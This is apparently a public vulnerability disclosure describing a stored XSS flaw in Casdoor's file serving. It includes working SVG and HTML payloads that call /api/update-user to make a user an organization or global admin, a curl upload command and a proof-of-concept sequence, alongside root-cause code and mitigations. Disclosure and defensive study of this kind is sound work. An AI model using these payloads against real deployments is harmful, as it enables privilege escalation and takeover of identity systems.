Back to Reports

Critical Stored XSS Vulnerability in Casdoor: Unsafe File Serving

Executive Summary

During my security research on Casdoor, I discovered a critical stored XSS vulnerability that's been lurking in the codebase since the very beginning. What makes this particularly concerning is that it affects any document or file that can be uploaded to the application when storage is linked to an organization - not just files uploaded through specific APIs.

The vulnerability allows any authenticated user to escalate their privileges to admin level through exploitation of the file serving mechanism. I tested this across versions v1.0.0 through v2.69.0, and the issue persists in the latest release.

⚠️ The core problem is how uploaded files are served with executable Content-Type headers, enabling stored XSS regardless of upload method.
πŸ”₯ This vulnerability has been present since the base version (v1.0.0) and remains unpatched in the latest version (v2.69.0) as of this writing.

The Vulnerability: Stored XSS via Unsafe File Serving

What Makes This Critical

The critical finding is that any document or file uploaded to Casdoor gets served with browser-executable Content-Type headers. This vulnerability affects all file upload mechanisms, not just API uploads.

Here's how the attack chain works:

  1. Storage Linkage: A storage provider gets linked to an organization or application
  2. Multiple Upload Paths: ANY file upload mechanism works (API, UI, documents, etc.)
  3. Unsafe Serving: The file serving mechanism serves files with executable Content-Type headers
  4. XSS Execution: This enables stored XSS for any uploaded HTML/SVG content

This vulnerability works regardless of how the file was uploaded. Testing confirmed that both API and UI upload mechanisms are vulnerable.

Attack Vector: File Upload Accessibility

Testing confirmed that any authenticated user can upload files through various mechanisms:

A notable finding is that even when the UI doesn't expose file upload functionality, the API endpoint remains accessible. This UI/API inconsistency is a contributing factor, but the real issue is the unsafe file serving mechanism.

πŸ’‘ Note: The UI/API inconsistency (where API remains accessible even when UI doesn't expose upload) is a contributing factor but not the core vulnerability. The real issue is the unsafe file serving mechanism.
Note: The privilege escalation via /api/update-user is only possible because the XSS payload executes in the context of an admin's session. A normal user cannot escalate their own privileges by calling this endpoint directly; the backend enforces authorization. Therefore, the privilege escalation is a consequence of the XSS, not a standalone vulnerability.

Technical Deep Dive

πŸ§ͺ All findings in this report were tested and confirmed on Casdoor versions v1.0.0 through v2.69.0. The vulnerability has been present since the base version and remains unpatched.

1. The Real Vulnerability: Unsafe File Serving

Analysis of the codebase revealed the root cause: the file serving mechanism serves uploaded files with browser-executable Content-Type headers. This is not a configuration issue - it's inherent to how Casdoor handles file serving.

This vulnerability affects ANY document or file that can be uploaded to the application - regardless of upload method. Whether it's through the API, UI, or other upload mechanisms, the same vulnerability applies.

The vulnerability exists regardless of how files are uploaded because the issue is in the serving mechanism, not the upload mechanism. Testing across multiple organizations confirmed that any organization with a linked storage provider is susceptible to this attack.

2. Attack Vector: File Upload Accessibility

Testing confirmed that any authenticated user can upload files through various mechanisms (API, UI, etc.). No special upload permissions are required - just being authenticated is sufficient.

Most organizations will have file upload UI enabled, which makes this even more accessible. API access provides an additional attack vector even when the UI doesn't expose upload functionality. Files can be uploaded via curl even when the UI is configured to hide file upload options.

Clarification: The storage provider must be linked to the application (or to the organization's default application). File upload is enabled for users in that context. Linking storage to the organization alone is not sufficient unless the organization's default application is configured with the storage provider.
Storage configuration Application settings File upload interface Upload process File serving mechanism

3. The Root Cause: Unsafe File Serving

Analysis of the file upload process revealed the critical flaw: when a user uploads a file (e.g., xss.html or xss.svg), the backend serves this file with a content-type that allows the browser to interpret and execute any embedded JavaScript.

The problem becomes clear when you look at the Content-Type headers. For example, if the file is served with Content-Type: text/html (for HTML) or image/svg+xml (for SVG), the browser will render and execute any <script> tags inside the file.

This is exactly why the XSS payload gets triggered when an admin or any user visits the uploaded file. The vulnerability affects ANY document or file uploaded to the application, not just files uploaded through specific APIs.

πŸ’» Actual Source Code Enabling XSS

πŸ“ File: casdoor/main.go
πŸ“ Line: 58

beego.SetStaticPath("/files", "files")

πŸ”— This line maps the /files URL path to the files/ directory on disk, making all uploaded files accessible via /files/<filename>.

πŸ“ File: casdoor/routers/static_filter.go
πŸ“ Lines: 83-91

if util.FileExist(path) {
    http.ServeFile(ctx.ResponseWriter, ctx.Request, path)
} else {
    http.ServeFile(ctx.ResponseWriter, ctx.Request, "web/build/index.html")
}

⚠️ This code serves files directly from disk using Go's http.ServeFile, which automatically sets the Content-Type header based on the file extension. If an attacker uploads an .html or .svg file, it will be served as text/html or image/svg+xml, allowing the browser to render and execute any embedded JavaScript.


SVG XSS and Privilege Escalation

Example SVG Payload for org admin:

<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch("/api/update-user?id=acme/alice", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({
        id: "b3462bac-63f6-46e3-ae64-eb78e83bb442",
        owner: "acme",
        name: "alice",
        displayName: "alice",
        isAdmin: true
    })
});
</script>
</svg>

Example SVG Payload for global admin:

<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch("/api/update-user?id=acme/alice", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({
        id: "b3462bac-63f6-46e3-ae64-eb78e83bb442",
        owner: "built-in",
        name: "alice",
        displayName: "alice",
        isAdmin: true
    })
});
</script>
</svg>

Proof:

SVG XSS proof

3. Crafting the HTML XSS Payload

Example XSS Payload (Org Admin)

<script>
fetch('/api/update-user?id=acme/alice', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'text/plain;charset=UTF-8'
    },
    body: JSON.stringify({
        "id": "a5c0d1ee-7825-4614-9ff6-98b04697227e",
        "owner": "acme",
        "name": "alice",
        "displayName": "alice",
        "isAdmin": true
    })
});
</script>

The id value must match the UUID of the target user. An attacker can obtain their own user id (UUID) by updating their profile and inspecting the POST request to /api/update-user in their browser's network tab or their my profile page.

Only the minimal required fields are sent to avoid overwriting other user data.

User profile update

Example XSS Payload (Global Admin)

<script>
fetch('/api/update-user?id=acme/alice', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'text/plain;charset=UTF-8'
    },
    body: JSON.stringify({
        "id": "a5c0d1ee-7825-4614-9ff6-98b04697227e",
        "owner": "built-in",
        "name": "alice",
        "displayName": "alice",
        "isAdmin": true
    })
});
</script>

By setting owner to built-in, the user is escalated to a global admin (super admin) if an admin visits the file.


4. Uploading the XSS File via API

API upload process File upload response

API Upload Command

curl -b "casdoor_session_id=4200bca0d5fd1fa6ea951747bffd20f3" \
  -F "owner=acme" \
  -F "user=alice" \
  -F "application=acme-app" \
  -F "fullFilePath=xss.html" \
  -F "file=@xss.html" \
  http://door.localhost:8000/api/upload-resource

Example Terminal Output

Terminal output 1 Terminal output 2

5. Triggering the Exploit

Example Terminal Output

Admin session visit 1 Admin session visit 2 Admin session visit 3

Verifying whether Alice is organization admin or not

Verification 1 Verification 2

For Built-In Admin

We only need to update our xss json owner from acme to built-in as mentioned above

Built-in admin 1 Built-in admin 2 Built-in admin 3 Built-in admin 4

Now looking verifying admin from both user and admin interface

Admin

Admin verification

As we updated the alice owner from acme to built-in. The alice account no longer exist in that ogranization and only exist in built-in

Organization change

6. Result and Verification


Impact Analysis

Immediate Impact

Why This Matters: Real-World Scenarios

Scenario 1: Document Management

Many organizations use Casdoor for identity management and may allow document uploads for user profiles, certificates, or other business documents. An attacker could upload a malicious document that executes when an admin reviews it.

Scenario 2: Profile Pictures

Even seemingly innocent features like profile picture uploads become dangerous when SVG files are allowed and served with image/svg+xml Content-Type.

Scenario 3: API-Only Integrations

Organizations using Casdoor purely as an API backend might not realize that file upload capabilities exist, making this vulnerability particularly insidious.


Additional Impact: Full Range of Attacks Possible via XSS

Once stored XSS is achieved in Casdoor, an attacker's JavaScript executes in the context of the victim's browser session. If the victim is an admin or any other user, the attacker can perform any action the admin or a particular user can via the web UI or API. This includes, but is not limited to:

In summary:

Stored XSS in an admin context is equivalent to full admin compromise. The attacker can escalate privileges, steal or destroy data, persist access, and take over the application.


Affected Endpoints


Root Cause


Analyst Workflow and Validation Process

Summary Table of Affected Versions

Version Status Vulnerability Present Notes
v1.0.0 βœ… Vulnerable Yes Base version - vulnerability present from initial release
v1.960.0 βœ… Vulnerable Yes Tested and confirmed
v1.970.0 βœ… Vulnerable Yes Tested and confirmed
v2.65.0 βœ… Vulnerable Yes Latest tested version
v2.66.0 βœ… Vulnerable Yes Latest tested version
v2.67.0 βœ… Vulnerable Yes Latest tested version
v2.68.0 βœ… Vulnerable Yes Latest tested version
v2.69.0 βœ… Vulnerable Yes Current latest version - still vulnerable

Key Points:

Analyst Note:

All findings were validated in the context of a live, working application, following best practices for responsible disclosure and CVE reporting.


Current Status: Still Vulnerable

The vulnerability has been present since the base version (v1.0.0) and remains unpatched in the latest version (v2.69.0).

Our analysis of the current codebase shows:

Mitigation Strategies

Immediate Actions

  1. Restrict File Types: Implement whitelist of allowed file extensions
  2. Safe Content-Types: Serve all user uploads as application/octet-stream
  3. Content-Disposition: Add Content-Disposition: attachment headers
  4. Input Validation: Sanitize all uploaded content

Long-term Solutions

  1. Content Security Policy: Implement strict CSP headers
  2. File Scanning: Scan uploaded files for malicious content
  3. Access Controls: Restrict file upload permissions
  4. Sandboxing: Isolate file serving from main application

Code Examples for Mitigation

Safe File Serving

// Serve files with safe Content-Type
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", "attachment; filename="+filename)

File Type Validation

allowedTypes := []string{".jpg", ".png", ".pdf", ".txt"}
ext := filepath.Ext(filename)
if !contains(allowedTypes, ext) {
    return errors.New("file type not allowed")
}
Clarification:
Privilege escalation is only possible because an admin's session is abused via XSS. A normal user cannot directly escalate their own privileges via the API.

Proof of Concept (Summary)

  1. Link storage to the organization's application(base application also works) as admin.
  2. Create a malicious HTML,SVG file with a privilege escalation payload.
  3. Upload the file via the API using a valid user session.
  4. Have an admin visit the uploaded file's URL.
  5. Attacker becomes org admin or global admin without data loss.

Timeline

July 2025
Discovery
v1.0.0 - v2.69.0
Vulnerability Range: Present since base version through current
July 2025
Responsible Disclosure: Submitted to Casdoor maintainers
Current
Vulnerability remains unpatched in v2.69.0
Now
Public Disclosure: This blog post

Conclusion

This vulnerability demonstrates how seemingly innocent file upload functionality can become a critical security risk when proper safeguards aren't implemented. The issue affects not just direct API uploads, but any document or file that can be uploaded to the application.

Organizations using Casdoor should immediately implement the mitigation strategies outlined above, as this vulnerability provides a direct path from any authenticated user to full administrative control.